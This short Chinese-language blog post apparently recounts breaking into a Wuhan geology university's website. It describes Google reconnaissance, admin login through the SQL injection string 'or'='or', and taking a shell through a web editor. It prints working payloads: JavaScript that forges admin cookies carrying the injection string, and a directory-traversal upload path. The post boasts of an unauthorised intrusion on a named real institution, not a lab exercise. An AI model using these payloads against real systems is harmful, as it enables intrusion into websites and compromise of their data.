检测武汉地质大学

 xiaowei'blog www.xiaoweio.cn

1.GG踩点后发现很多漏洞

2用'or'='or' 进了个后台，通过编辑器拿下shell

其中的编辑器是通过其他站的讯实系统COOKIEs 直接跨目录找到数据库登录的,

这其中有俩EWB 一个用来找目录 一个用来拿shell，讯实当然可以拿shell了,但是备

份不站点哪出问题了,传图片不显示。。。。

Javascript:alert(document.COOKIE="adminuser="+escape("'or'='or'"));Javascript:alert(document.COOKIE="adminpass="+escape("'or'='or'"));Javascript:alert(document.COOKIE="admindj="+escape("1"));

/edit/admin_uploadfile.asp?id=14&dir=..

呵呵 。。。